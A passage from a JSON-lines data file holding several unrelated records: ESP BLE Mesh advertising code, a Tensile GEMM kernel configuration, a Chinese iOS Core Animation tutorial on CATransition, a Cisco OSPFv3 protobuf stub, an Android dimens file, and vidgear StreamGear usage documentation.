* BLE adv packet can be sent, return 0 here.\n */\n BT_WARN(\"Send BLE adv packet only once\");\n tx->param.count = 0;\n net_buf_unref(buf);\n return 0;\n }\n bt_mesh_atomic_set_bit(tx->flags, TIMER_INIT);\n } else {\n /* Send the BLE advertising packet only once */\n net_buf_unref(buf);\n }\n\n return 0;\n}\n\nint bt_mesh_stop_ble_advertising(u8_t index)\n{\n struct ble_adv_tx *tx = NULL;\n bool unref = true;\n\n if (index >= ARRAY_SIZE(ble_adv_tx)) {\n BT_ERR(\"Invalid adv index %d\", index);\n return -EINVAL;\n }\n\n tx = &ble_adv_tx[index];\n\n if (tx->buf == NULL) {\n BT_WARN(\"Already stopped, index %d\", index);\n return 0;\n }\n\n /* busy 1, ref 1; busy 1, ref 2;\n * busy 0, ref 0; busy 0, ref 1;\n */\n if (BLE_MESH_ADV(tx->buf)->busy == 1U &&\n tx->buf->ref == 1U) {\n unref = false;\n }\n ble_adv_tx_reset(tx, unref);\n\n return 0;\n}\n\nstatic void bt_mesh_ble_adv_deinit(void)\n{\n for (int i = 0; i < ARRAY_SIZE(ble_adv_tx); i++) {\n struct ble_adv_tx *tx = &ble_adv_tx[i];\n ble_adv_tx_reset(tx, false);\n }\n bt_mesh_unref_buf_from_pool(&ble_adv_buf_pool);\n memset(ble_adv_pool, 0, sizeof(ble_adv_pool));\n}\n#endif /* CONFIG_BLE_MESH_SUPPORT_BLE_ADV */\n"} {"text": "- {MinimumRequiredVersion: 4.4.0}\n- hip\n- gfx000\n- [fallback]\n- AssignedDerivedParameters: true\n Batched: true\n ComplexConjugateA: false\n ComplexConjugateB: false\n DataType: 0\n HighPrecisionAccumulate: false\n Index0: 0\n Index01A: 0\n Index01B: 1\n Index1: 1\n IndexAssignmentsA: [3, 0, 2]\n IndexAssignmentsB: [3, 1, 2]\n IndexUnroll: 3\n IndexUnrollA: 0\n IndexUnrollB: 0\n IndicesBatch: [2]\n IndicesFree: [0, 1]\n IndicesSummation: [3]\n NumIndicesBatch: 1\n NumIndicesC: 3\n NumIndicesFree: 2\n NumIndicesSummation: 1\n OperationType: GEMM\n TLUA: false\n TLUB: false\n Tensor0: 0\n Tensor1: 1\n TileA: 0\n TileB: 1\n TotalIndices: 4\n TransposeA: true\n TransposeB: false\n UseBeta: true\n UseInitialStrides: false\n- - AssignedDerivedParameters: true\n AssignedProblemIndependentDerivedParameters: true\n BenchmarkFork: 0\n DepthU: 8\n EdgeType: ShiftPtr\n GlobalLoadVectorWidthA: 1\n GlobalLoadVectorWidthB: 1\n GlobalRead2A: true\n GlobalRead2B: true\n GlobalReadCoalesceGroupA: true\n GlobalReadCoalesceGroupB: true\n GlobalReadCoalesceVectorA: true\n GlobalReadCoalesceVectorB: true\n GlobalSplitU: 1\n GlobalSplitUSummationAssignmentRoundRobin: true\n GlobalSplitUWorkGroupMappingRoundRobin: false\n GlobalWriteVectorWidth: 1\n KernelLanguage: Source\n LSCA: 8\n LSCB: 8\n LSPA: 32\n LSPB: 32\n LVCA: 8\n LVCB: 8\n LVPA: 32\n LVPB: 32\n LdsNumElements: 4096\n LdsNumElementsAlignedA: 1024\n LdsNumElementsAlignedB: 1024\n LdsOffsetA: 0\n LdsOffsetA_Blk: 2048\n LdsOffsetB: 1024\n LdsOffsetB_Blk: 3072\n LdsPad: 0\n LocalRead2A: true\n LocalRead2B: true\n LocalSplitU: 1\n LocalWrite2A: true\n LocalWrite2B: true\n LoopDoWhile: false\n LoopTail: true\n LoopUnroll: 8\n MacroTile0: 128\n MacroTile1: 128\n MacroTileA: 128\n MacroTileB: 128\n MacroTileShapeMax: 64\n MacroTileShapeMin: 1\n MaxOccupancy: 40\n NumElementsPerThread: 64\n NumGlobalWriteVectorsPerThread: 64\n NumLoadsA: 4\n NumLoadsB: 4\n NumLoadsCoalescedA: 1\n NumLoadsCoalescedB: 1\n NumLoadsPerpendicularA: 4\n NumLoadsPerpendicularB: 4\n NumThreads: 256\n PVA: 1\n PVB: 1\n PerformanceSyncLocation: -1\n PerformanceWaitCount: -1\n PerformanceWaitLocation: -1\n PrefetchGlobalRead: true\n PrefetchLocalRead: true\n ProblemType:\n AssignedDerivedParameters: true\n Batched: true\n ComplexConjugateA: false\n ComplexConjugateB: false\n DataType: 0\n HighPrecisionAccumulate: false\n Index0: 0\n Index01A: 0\n Index01B: 1\n Index1: 1\n IndexAssignmentsA: [3, 0, 2]\n IndexAssignmentsB: [3, 1, 2]\n IndexUnroll: 3\n IndexUnrollA: 0\n IndexUnrollB: 0\n IndicesBatch: [2]\n IndicesFree: [0, 1]\n IndicesSummation: [3]\n NumIndicesBatch: 1\n NumIndicesC: 3\n NumIndicesFree: 2\n NumIndicesSummation: 1\n OperationType: GEMM\n TLUA: false\n TLUB: false\n Tensor0: 0\n Tensor1: 1\n TileA: 0\n TileB: 1\n TotalIndices: 4\n TransposeA: true\n TransposeB: false\n UseBeta: true\n UseInitialStrides: false\n SubGroup0: 16\n SubGroup1: 16\n SubGroupA: 16\n SubGroupB: 16\n ThreadTile: [8, 8]\n ThreadTile0: 8\n ThreadTile1: 8\n ThreadTileA: 8\n ThreadTileB: 8\n UnrollMemFence: false\n Valid: true\n VectorWidth: 1\n WorkGroup: [16, 16, 1]\n WorkGroupMapping: 8\n WorkGroupMappingType: B\n- [2, 3, 0, 1]\n- []\n- - - -1\n - - - -1\n - - - -1\n - - [-1, 0]\n"} {"text": "# 过渡\n\n\n有时候对于iOS应用程序来说,希望能通过属性动画来对比较难做动画的布局进行一些改变。比如交换一段文本和图片,或者用一段网格视图来替换,等等。属性动画只对图层的可动画属性起作用,所以如果要改变一个不能动画的属性(比如图片),或者从层级关系中添加或者移除图层,属性动画将不起作用。\n\n于是就有了过渡的概念。过渡并不像属性动画那样平滑地在两个值之间做动画,而是影响到整个图层的变化。过渡动画首先展示之前的图层外观,然后通过一个交换过渡到新的外观。\n\n为了创建一个过渡动画,我们将使用`CATransition`,同样是另一个`CAAnimation`的子类,和别的子类不同,`CATransition`有一个`type`和`subtype`来标识变换效果。`type`属性是一个`NSString`类型,可以被设置成如下类型:\n\n kCATransitionFade \n kCATransitionMoveIn \n kCATransitionPush \n kCATransitionReveal\n \n到目前为止你只能使用上述四种类型,但你可以通过一些别的方法来自定义过渡效果,后续会详细介绍。\n\n默认的过渡类型是`kCATransitionFade`,当你在改变图层属性之后,就创建了一个平滑的淡入淡出效果。\n\n我们在第七章的例子中就已经用到过`kCATransitionPush`,它创建了一个新的图层,从边缘的一侧滑动进来,把旧图层从另一侧推出去的效果。\n\n`kCATransitionMoveIn`和`kCATransitionReveal`与`kCATransitionPush`类似,都实现了一个定向滑动的动画,但是有一些细微的不同,`kCATransitionMoveIn`从顶部滑动进入,但不像推送动画那样把老土层推走,然而`kCATransitionReveal`把原始的图层滑动出去来显示新的外观,而不是把新的图层滑动进入。\n\n后面三种过渡类型都有一个默认的动画方向,它们都从左侧滑入,但是你可以通过`subtype`来控制它们的方向,提供了如下四种类型:\n\n kCATransitionFromRight \n kCATransitionFromLeft \n kCATransitionFromTop \n kCATransitionFromBottom\n \n一个简单的用`CATransition`来对非动画属性做动画的例子如清单8.11所示,这里我们对`UIImage`的`image`属性做修改,但是隐式动画或者`CAPropertyAnimation`都不能对它做动画,因为Core Animation不知道如何在插图图片。通过对图层应用一个淡入淡出的过渡,我们可以忽略它的内容来做平滑动画(图8.4),我们来尝试修改过渡的`type`常量来观察其它效果。\n\n清单8.11 使用`CATransition`来对`UIImageView`做动画\n\n```objective-c\n@interface ViewController ()\n\n@property (nonatomic, weak) IBOutlet UIImageView *imageView;\n@property (nonatomic, copy) NSArray *images;\n\n@end\n\n@implementation ViewController\n\n- (void)viewDidLoad\n{\n [super viewDidLoad];\n //set up images\n self.images = @[[UIImage imageNamed:@\"Anchor.png\"],\n [UIImage imageNamed:@\"Cone.png\"],\n [UIImage imageNamed:@\"Igloo.png\"],\n [UIImage imageNamed:@\"Spaceship.png\"]];\n}\n\n\n- (IBAction)switchImage\n{\n //set up crossfade transition\n CATransition *transition = [CATransition animation];\n transition.type = kCATransitionFade;\n //apply transition to imageview backing layer\n [self.imageView.layer addAnimation:transition forKey:nil];\n //cycle to next image\n UIImage *currentImage = self.imageView.image;\n NSUInteger index = [self.images indexOfObject:currentImage];\n index = (index + 1) % [self.images count];\n self.imageView.image = self.images[index];\n}\n\n@end\n```\n\n你可以从代码中看出,过渡动画和之前的属性动画或者动画组添加到图层上的方式一致,都是通过`-addAnimation:forKey:`方法。但是和属性动画不同的是,对指定的图层一次只能使用一次`CATransition`,因此,无论你对动画的键设置什么值,过渡动画都会对它的键设置成“transition”,也就是常量`kCATransition`。\n\n<img src=\"./8.4.jpeg\" alt=\"图8.4\" title=\"图8.4\" width=\"700\" />\n\n图8.4 使用`CATransition`对图像平滑淡入淡出\n\n###隐式过渡\n\n`CATransision`可以对图层任何变化平滑过渡的事实使得它成为那些不好做动画的属性图层行为的理想候选。苹果当然意识到了这点,并且当设置了`CALayer`的`content`属性的时候,`CATransition`的确是默认的行为。但是对于视图关联的图层,或者是其他隐式动画的行为,这个特性依然是被禁用的,但是对于你自己创建的图层,这意味着对图层`contents`图片做的改动都会自动附上淡入淡出的动画。\n\n我们在第七章使用`CATransition`作为一个图层行为来改变图层的背景色,当然`backgroundColor`属性可以通过正常的`CAPropertyAnimation`来实现,但这不是说不可以用`CATransition`来实行。\n\n###对图层树的动画\n\n`CATransition`并不作用于指定的图层属性,这就是说你可以在即使不能准确得知改变了什么的情况下对图层做动画,例如,在不知道`UITableView`哪一行被添加或者删除的情况下,直接就可以平滑地刷新它,或者在不知道`UIViewController`内部的视图层级的情况下对两个不同的实例做过渡动画。\n\n这些例子和我们之前所讨论的情况完全不同,因为它们不仅涉及到图层的属性,而且是整个*图层树*的改变--我们在这种动画的过程中手动在层级关系中添加或者移除图层。\n\n这里用到了一个小诡计,要确保`CATransition`添加到的图层在过渡动画发生时不会在树状结构中被移除,否则`CATransition`将会和图层一起被移除。一般来说,你只需要将动画添加到被影响图层的`superlayer`。\n\n在清单8.2中,我们展示了如何在`UITabBarController`切换标签的时候添加淡入淡出的动画。这里我们建立了默认的标签应用程序模板,然后用`UITabBarControllerDelegate`的`-tabBarController:didSelectViewController:`方法来应用过渡动画。我们把动画添加到`UITabBarController`的视图图层上,于是在标签被替换的时候动画不会被移除。\n\n清单8.12 对`UITabBarController`做动画\n\n```objective-c\n#import \"AppDelegate.h\"\n#import \"FirstViewController.h\" \n#import \"SecondViewController.h\"\n#import <QuartzCore/QuartzCore.h>\n@implementation AppDelegate\n- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions\n{\n self.window = [[UIWindow alloc] initWithFrame: [[UIScreen mainScreen] bounds]];\n UIViewController *viewController1 = [[FirstViewController alloc] init];\n UIViewController *viewController2 = [[SecondViewController alloc] init];\n self.tabBarController = [[UITabBarController alloc] init];\n self.tabBarController.viewControllers = @[viewController1, viewController2];\n self.tabBarController.delegate = self;\n self.window.rootViewController = self.tabBarController;\n [self.window makeKeyAndVisible];\n return YES;\n}\n- (void)tabBarController:(UITabBarController *)tabBarController didSelectViewController:(UIViewController *)viewController\n{\n //set up crossfade transition\n CATransition *transition = [CATransition animation];\n transition.type = kCATransitionFade;\n //apply transition to tab bar controller's view\n [self.tabBarController.view.layer addAnimation:transition forKey:nil];\n}\n@end\n```\n\n###自定义动画\n\n我们证实了过渡是一种对那些不太好做平滑动画属性的强大工具,但是`CATransition`的提供的动画类型太少了。\n\n更奇怪的是苹果通过`UIView +transitionFromView:toView:duration:options:completion:`和`+transitionWithView:duration:options:animations:`方法提供了Core Animation的过渡特性。但是这里的可用的过渡选项和`CATransition`的`type`属性提供的常量*完全不同*。`UIView`过渡方法中`options`参数可以由如下常量指定:\n \n UIViewAnimationOptionTransitionFlipFromLeft \n UIViewAnimationOptionTransitionFlipFromRight\n UIViewAnimationOptionTransitionCurlUp \n UIViewAnimationOptionTransitionCurlDown\n UIViewAnimationOptionTransitionCrossDissolve \n UIViewAnimationOptionTransitionFlipFromTop \n UIViewAnimationOptionTransitionFlipFromBottom\n\n除了`UIViewAnimationOptionTransitionCrossDissolve`之外,剩下的值和`CATransition`类型完全没关系。你可以用之前例子修改过的版本来测试一下(见清单8.13)。\n\n清单8.13 使用UIKit提供的方法来做过渡动画\n\n```objective-c\n@interface ViewController ()\n@property (nonatomic, weak) IBOutlet UIImageView *imageView;\n@property (nonatomic, copy) NSArray *images;\n@end\n@implementation ViewController\n- (void)viewDidLoad\n{\n [super viewDidLoad]; //set up images\n self.images = @[[UIImage imageNamed:@\"Anchor.png\"],\n [UIImage imageNamed:@\"Cone.png\"],\n [UIImage imageNamed:@\"Igloo.png\"],\n [UIImage imageNamed:@\"Spaceship.png\"]];\n- (IBAction)switchImage\n{\n [UIView transitionWithView:self.imageView duration:1.0\n options:UIViewAnimationOptionTransitionFlipFromLeft\n animations:^{\n //cycle to next image\n UIImage *currentImage = self.imageView.image;\n NSUInteger index = [self.images indexOfObject:currentImage];\n index = (index + 1) % [self.images count];\n self.imageView.image = self.images[index];\n }\n completion:NULL];\n}\n \n@end\n```\n\n文档暗示过在iOS5(带来了Core Image框架)之后,可以通过`CATransition`的`filter`属性,用`CIFilter`来创建其它的过渡效果。然是直到iOS6都做不到这点。试图对`CATransition`使用Core Image的滤镜完全没效果(但是在Mac OS中是可行的,也许文档是想表达这个意思)。\n\n因此,根据要实现的效果,你只用关心是用`CATransition`还是用`UIView`的过渡方法就可以了。希望下个版本的iOS系统可以通过`CATransition`很好的支持Core Image的过渡滤镜效果(或许甚至会有新的方法)。\n\n但这并不意味着在iOS上就不能实现自定义的过渡效果了。这只是意味着你需要做一些额外的工作。就像之前提到的那样,过渡动画做基础的原则就是对原始的图层外观截图,然后添加一段动画,平滑过渡到图层改变之后那个截图的效果。如果我们知道如何对图层截图,我们就可以使用属性动画来代替`CATransition`或者是UIKit的过渡方法来实现动画。\n\n事实证明,对图层做截图还是很简单的。`CALayer`有一个`-renderInContext:`方法,可以通过把它绘制到Core Graphics的上下文中捕获当前内容的图片,然后在另外的视图中显示出来。如果我们把这个截屏视图置于原始视图之上,就可以遮住真实视图的所有变化,于是重新创建了一个简单的过渡效果。\n\n清单8.14演示了一个基本的实现。我们对当前视图状态截图,然后在我们改变原始视图的背景色的时候对截图快速转动并且淡出,图8.5展示了我们自定义的过渡效果。\n\n为了让事情更简单,我们用`UIView -animateWithDuration:completion:`方法来实现。虽然用`CABasicAnimation`可以达到同样的效果,但是那样的话我们就需要对图层的变换和不透明属性创建单独的动画,然后当动画结束的是哦户在`CAAnimationDelegate`中把`coverView`从屏幕中移除。\n\n清单8.14 用`renderInContext:`创建自定义过渡效果\n\n```objective-c\n@implementation ViewController\n- (IBAction)performTransition\n{\n //preserve the current view snapshot\n UIGraphicsBeginImageContextWithOptions(self.view.bounds.size, YES, 0.0);\n [self.view.layer renderInContext:UIGraphicsGetCurrentContext()];\n UIImage *coverImage = UIGraphicsGetImageFromCurrentImageContext();\n //insert snapshot view in front of this one\n UIView *coverView = [[UIImageView alloc] initWithImage:coverImage];\n coverView.frame = self.view.bounds;\n [self.view addSubview:coverView];\n //update the view (we'll simply randomize the layer background color)\n CGFloat red = arc4random() / (CGFloat)INT_MAX;\n CGFloat green = arc4random() / (CGFloat)INT_MAX;\n CGFloat blue = arc4random() / (CGFloat)INT_MAX;\n self.view.backgroundColor = [UIColor colorWithRed:red green:green blue:blue alpha:1.0];\n //perform animation (anything you like)\n [UIView animateWithDuration:1.0 animations:^{\n //scale, rotate and fade the view\n CGAffineTransform transform = CGAffineTransformMakeScale(0.01, 0.01);\n transform = CGAffineTransformRotate(transform, M_PI_2);\n coverView.transform = transform;\n coverView.alpha = 0.0;\n } completion:^(BOOL finished) {\n //remove the cover view now we're finished with it\n [coverView removeFromSuperview];\n }];\n}\n@end\n```\n\n<img src=\"./8.5.jpeg\" alt=\"图8.5\" title=\"图8.5\" width=\"700\"/>\n\n图8.5 使用`renderInContext:`创建自定义过渡效果\n\n这里有个警告:`-renderInContext:`捕获了图层的图片和子图层,但是不能对子图层正确地处理变换效果,而且对视频和OpenGL内容也不起作用。但是用`CATransition`,或者用私有的截屏方式就没有这个限制了。\n"} {"text": "\n//go:generate protoc --go_out=plugins=grpc:. ospfv3_edm_request.proto\n \n// Cisco-IOS-XR-ipv6-ospfv3-oper:ospfv3/processes/process/vrfs/vrf/areas/area/request-list-table/request\npackage cisco_ios_xr_ipv6_ospfv3_oper_ospfv3_processes_process_vrfs_vrf_areas_area_request_list_table_request\n "} {"text": "## [Unreleased]\n- Added new Email Communication incident type."} {"text": "<resources>\n\n <!--\n Example customization of dimensions originally defined in res/values/dimens.xml\n (such as screen margins) for screens with more than 820dp of available width. This\n would include 7\" and 10\" devices in landscape (~960dp and ~1280dp respectively).\n -->\n <dimen name=\"activity_horizontal_margin\">64dp</dimen>\n\n</resources>\n"} {"text": "<!--\n===============================================\nvidgear library source-code is deployed under the Apache 2.0 License:\n\nCopyright (c) 2019-2020 Abhishek Thakur(@abhiTronix) <abhi.una12@gmail.com>\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n===============================================\n-->\n\n# StreamGear API Usage Examples:\n\n\n!!! danger \"Important Information\"\n \n * StreamGear **MUST** requires FFmpeg executables for its core operations. Follow these dedicated [Platform specific Installation Instructions ➶](../ffmpeg_install/) for its installation.\n\n * :warning: StreamGear API will throw **RuntimeError**, if it fails to detect valid FFmpeg executables on your system.\n\n * By default, when no additional streams are defined, ==StreamGear generates a primary stream of same resolution and framerate[^1] as the input video _(at the index `0`)_.==\n\n * It is advised to enable logging _([`logging=True`](../params/#logging))_ on the first run for easily identifying any runtime errors.\n\n * Always use `terminate()` function at the very end of the main code.\n\n\n&thinsp;\n\n## A. Single-Source Mode\n\n<figure>\n <img src=\"../../../assets/images/streamgear_file.webp\" loading=\"lazy\" alt=\"Single-Source Mode Flow Diagram\"/>\n <figcaption>Single-Source Mode generalized workflow</figcaption>\n</figure>\n\nIn this mode, StreamGear transcodes entire video/audio file _(as opposed to frames by frame)_ into a sequence of multiple smaller chunks/segments for streaming. This mode works exceptionally well, when you're transcoding lossless long-duration videos(with audio) for streaming and required no extra efforts or interruptions. But on the downside, the provided source cannot be changed or manipulated before sending onto FFmpeg Pipeline for processing.\n\nThis mode provide [`transcode_source()`](../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.transcode_source) function to process audio-video files into streamable chunks.\n\nThis mode can be easily activated by assigning suitable video path as input to [`-video_source`](../params/#a-exclusive-parameters) attribute of [`stream_params`](../params/#stream_params) dictionary parameter, during StreamGear initialization.\n\n!!! warning \n\n * Using [`stream()`](../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.stream) function instead of [`transcode_source()`](../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.transcode_source) in Single-Source Mode will instantly result in **`RuntimeError`**!\n * Any invalid value to the [`-video_source`](../params/#a-exclusive-parameters) attribute will result in **`AssertionError`**! \n\n&thinsp;\n\n### A.1 Bare-Minimum Usage\n\nFollowing is the bare-minimum code you need to get started with StreamGear API in Single-Source Mode:\n\n!!! note \"If input video-source _(i.e. `-video_source`)_ contains any audio stream/channel, then it automatically gets mapped to all generated streams without any extra efforts.\"\n\n```python\n# import required libraries\nfrom vidgear.gears import StreamGear\n\n# activate Single-Source Mode with valid video input\nstream_params = {\"-video_source\": \"foo.mp4\"}\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\", **stream_params)\n# trancode source\nstreamer.transcode_source()\n# terminate\nstreamer.terminate()\n```\n\n!!! success \"After running these bare-minimum commands, StreamGear will produce a Manifest file _(`dash.mpd`)_ with steamable chunks that contains information about a Primary Stream of same resolution and framerate as the input.\"\n\n&thinsp;\n\n### A.2 Usage with Additional Streams\n\nIn addition to Primary Stream, you can easily generate any number of additional Secondary Streams of variable bitrates or spatial resolutions, using exclusive [`-streams`](../params/#a-exclusive-parameters) attribute of `stream_params` dictionary parameter. You just need to add each resolution and bitrate/framerate as list of dictionaries to this attribute, and rest is done automatically _(More detailed information can be found [here ➶](../params/#a-exclusive-parameters))_. The complete example is as follows:\n\n!!! note \"If input video-source contains any audio stream/channel, then it automatically gets assigned to all generated streams without any extra efforts.\"\n\n!!! danger \"Important `-streams` attribute Information\"\n * On top of these additional streams, StreamGear by default, generates a primary stream of same resolution and framerate as the input, at the index `0`.\n * :warning: Make sure your System/Machine/Server/Network is able to handle these additional streams, discretion is advised! \n * You **MUST** need to define `-resolution` value for your stream, otherwise stream will be discarded!\n * You only need either of `-video_bitrate` or `-framerate` for defining a valid stream. Since with `-framerate` value defined, video-bitrate is calculated automatically.\n * If you define both `-video_bitrate` and `-framerate` values at the same time, StreamGear will discard the `-framerate` value automatically.\n\n!!! fail \"Always use `-stream` attribute to define additional streams safely, any duplicate or incorrect definition can break things!\"\n\n```python\n# import required libraries\nfrom vidgear.gears import StreamGear\n\n# activate Single-Source Mode and also define various streams\nstream_params = {\n \"-video_source\": \"foo.mp4\",\n \"-streams\": [\n {\"-resolution\": \"1920x1080\", \"-video_bitrate\": \"4000k\"}, # Stream1: 1920x1080 at 4000kbs bitrate\n {\"-resolution\": \"1280x720\", \"-framerate\": 30.0}, # Stream2: 1280x720 at 30fps framerate\n {\"-resolution\": \"640x360\", \"-framerate\": 60.0}, # Stream3: 640x360 at 60fps framerate\n {\"-resolution\": \"320x240\", \"-video_bitrate\": \"500k\"}, # Stream3: 320x240 at 500kbs bitrate\n ],\n}\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\", **stream_params)\n# trancode source\nstreamer.transcode_source()\n# terminate\nstreamer.terminate()\n```\n\n&thinsp;\n\n### A.3 Usage with Custom Audio\n\nBy default, if input video-source _(i.e. `-video_source`)_ contains any audio, then it gets automatically mapped to all generated streams. But, if you want to add any custom audio, you can easily do it by using exclusive [`-audio`](../params/#a-exclusive-parameters) attribute of `stream_params` dictionary parameter. You just need to input the path of your audio file to this attribute as string, and StreamGear API will automatically validate and map it to all generated streams. The complete example is as follows:\n\n!!! failure \"Make sure this `-audio` audio-source it compatible with provided video-source, otherwise you encounter multiple errors or no output at all.\"\n\n!!! tip \"You can also assign a valid Audio URL as input, rather than filepath. More details can be found [here ➶](../params/#a-exclusive-parameters)\"\n\n```python\n# import required libraries\nfrom vidgear.gears import StreamGear\n\n# activate Single-Source Mode and various streams, along with custom audio\nstream_params = {\n \"-video_source\": \"foo.mp4\",\n \"-streams\": [\n {\"-resolution\": \"1920x1080\", \"-video_bitrate\": \"4000k\"}, # Stream1: 1920x1080 at 4000kbs bitrate\n {\"-resolution\": \"1280x720\", \"-framerate\": 30.0}, # Stream2: 1280x720 at 30fps\n {\"-resolution\": \"640x360\", \"-framerate\": 60.0}, # Stream3: 640x360 at 60fps\n ],\n \"-audio\": \"/home/foo/foo1.aac\" # assigns input audio-source: \"/home/foo/foo1.aac\"\n}\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\", **stream_params)\n# trancode source\nstreamer.transcode_source()\n# terminate\nstreamer.terminate()\n```\n\n&thinsp;\n\n\n### A.4 Usage with Variable FFmpeg Parameters\n\nFor seamlessly generating these streaming assets, StreamGear provides a highly extensible and flexible wrapper around [**FFmpeg**](https://ffmpeg.org/), and access to almost all of its parameter. Hence, you can access almost any parameter available with FFmpeg itself as dictionary attributes in [`stream_params` dictionary parameter](../params/#stream_params), and use it to manipulate transcoding as you like. \n\nFor this example, let us use our own [H.265/HEVC](https://trac.ffmpeg.org/wiki/Encode/H.265) video and [AAC](https://trac.ffmpeg.org/wiki/Encode/AAC) audio encoder, and set custom audio bitrate, and various other optimizations:\n\n\n!!! tip \"This example is just conveying the idea on how to use FFmpeg's encoders/parameters with StreamGear API. You can use any FFmpeg parameter in the similar manner.\"\n\n!!! danger \"Kindly read [**FFmpeg Docs**](https://ffmpeg.org/documentation.html) carefully, before passing any FFmpeg values to `stream_params` parameter. Wrong values may result in undesired errors or no output at all.\"\n\n!!! fail \"Always use `-streams` attribute to define additional streams safely, any duplicate or incorrect stream definition can break things!\"\n\n\n```python\n# import required libraries\nfrom vidgear.gears import StreamGear\n\n# activate Single-Source Mode and various other parameters\nstream_params = {\n \"-video_source\": \"foo.mp4\", # define Video-Source\n \"-vcodec\": \"libx265\", # assigns H.265/HEVC video encoder\n \"-x265-params\": \"lossless=1\", # enables Lossless encoding\n \"-crf\": 25, # Constant Rate Factor: 25\n \"-bpp\": \"0.15\", # Bits-Per-Pixel(BPP), an Internal StreamGear parameter to ensure good quality of high motion scenes\n \"-streams\": [\n {\"-resolution\": \"1280x720\", \"-video_bitrate\": \"4000k\"}, # Stream1: 1280x720 at 4000kbs bitrate\n {\"-resolution\": \"640x360\", \"-framerate\": 60.0}, # Stream2: 640x360 at 60fps\n ],\n \"-audio\": \"/home/foo/foo1.aac\", # define input audio-source: \"/home/foo/foo1.aac\",\n \"-acodec\": \"libfdk_aac\", # assign lossless AAC audio encoder\n \"-vbr\": 4, # Variable Bit Rate: `4`\n}\n\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\", logging=True, **stream_params)\n# trancode source\nstreamer.transcode_source()\n# terminate\nstreamer.terminate()\n```\n\n&nbsp;\n\n&nbsp;\n\n## B. Real-time Frames Mode \n\n<figure>\n <img src=\"../../../assets/images/streamgear_real.webp\" loading=\"lazy\" alt=\"Real-time Frames Mode Flow Diagram\"/>\n <figcaption>Real-time Frames Mode generalized workflow</figcaption>\n</figure>\n\nWhen no valid input is received on [`-video_source`](../params/#a-exclusive-parameters) attribute of [`stream_params`](../params/#supported-parameters) dictionary parameter, StreamGear API activates this mode where it directly transcodes real-time [`numpy.ndarray`](https://numpy.org/doc/1.18/reference/generated/numpy.ndarray.html#numpy-ndarray) video-frames _(as opposed to a entire file)_ into a sequence of multiple smaller chunks/segments for streaming. \n\nIn this mode, StreamGear **DOES NOT** automatically maps video-source audio to generated streams. You need to manually assign separate audio-source through [`-audio`](../params/#a-exclusive-parameters) attribute of `stream_params` dictionary parameter.\n\nThis mode provide [`stream()`](../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.stream) function for directly trancoding video-frames into streamable chunks over the FFmpeg pipeline. \n\n\n!!! warning \n\n * Using [`transcode_source()`](../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.transcode_source) function instead of [`stream()`](../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.stream) in Real-time Frames Mode will instantly result in **`RuntimeError`**!\n\n * **NEVER** assign anything to [`-video_source`](../params/#a-exclusive-parameters) attribute of [`stream_params`](../params/#supported-parameters) dictionary parameter, otherwise [Single-Source Mode](#a-single-source-mode) may get activated, and as a result, using [`stream()`](../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.stream) function will throw **`RuntimeError`**!\n\n * In this mode, Primary Stream's framerate defaults to [`-input_framerate`](../params/#a-exclusive-parameters) attribute value, if defined, else it will be `25.0` fps.\n\n\n&thinsp;\n\n### B.1 Bare-Minimum Usage\n\nFollowing is the bare-minimum code you need to get started with StreamGear API in Real-time Frames Mode:\n\n!!! note \"We are using [CamGear](../../gears/camgear/overview/) in this Bare-Minimum example, but any [VideoCapture Gear](../../gears/#a-videocapture-gears) will work in the similar manner.\"\n\n```python\n# import required libraries\nfrom vidgear.gears import CamGear\nfrom vidgear.gears import StreamGear\nimport cv2\n\n# open any valid video stream(for e.g `foo1.mp4` file)\nstream = CamGear(source='foo1.mp4').start() \n\n# describe a suitable manifest-file location/name\nstreamer = StreamGear(output=\"dash_out.mpd\")\n\n# loop over\nwhile True:\n\n # read frames from stream\n frame = stream.read()\n\n # check for frame if Nonetype\n if frame is None:\n break\n\n\n # {do something with the frame here}\n\n\n # send frame to streamer\n streamer.stream(frame)\n\n # Show output window\n cv2.imshow(\"Output Frame\", frame)\n\n # check for 'q' key if pressed\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n# close output window\ncv2.destroyAllWindows()\n\n# safely close video stream\nstream.stop()\n\n# safely close streamer\nstreamer.terminate()\n```\n\n!!! success \"After running these bare-minimum commands, StreamGear will produce a Manifest file _(`dash.mpd`)_ with steamable chunks that contains information about a Primary Stream of same resolution and framerate[^1] as input _(without any audio)_.\"\n\n\n&thinsp;\n\n### B.2 Bare-Minimum Usage with RGB Mode\n\nIn Real-time Frames Mode, StreamGear API provide [`rgb_mode`](../../../../bonus/reference/streamgear/#vidgear.gears.streamgear.StreamGear.stream) boolean parameter with its `stream()` function, which if enabled _(i.e. `rgb_mode=True`)_, specifies that incoming frames are of RGB format _(instead of default BGR format)_, thereby also known as ==RGB Mode==. The complete usage example is as follows:\n\n```python\n# import required libraries\nfrom vidgear.gears import CamGear\nfrom vidgear.gears import StreamGear\nimport cv2\n\n# open any valid video stream(for e.g `foo1.mp4` file)\nstream = CamGear(source='foo1.mp4').start() \n\n# describe a suitable manifest-file location/name\nstreamer = StreamGear(output=\"dash_out.mpd\")\n\n# loop over\nwhile True:\n\n # read frames from stream\n frame = stream.read()\n\n # check for frame if Nonetype\n if frame is None:\n break\n\n\n # {simulating RGB frame for this example}\n frame_rgb = frame[:,:,::-1]\n\n\n # send frame to streamer\n 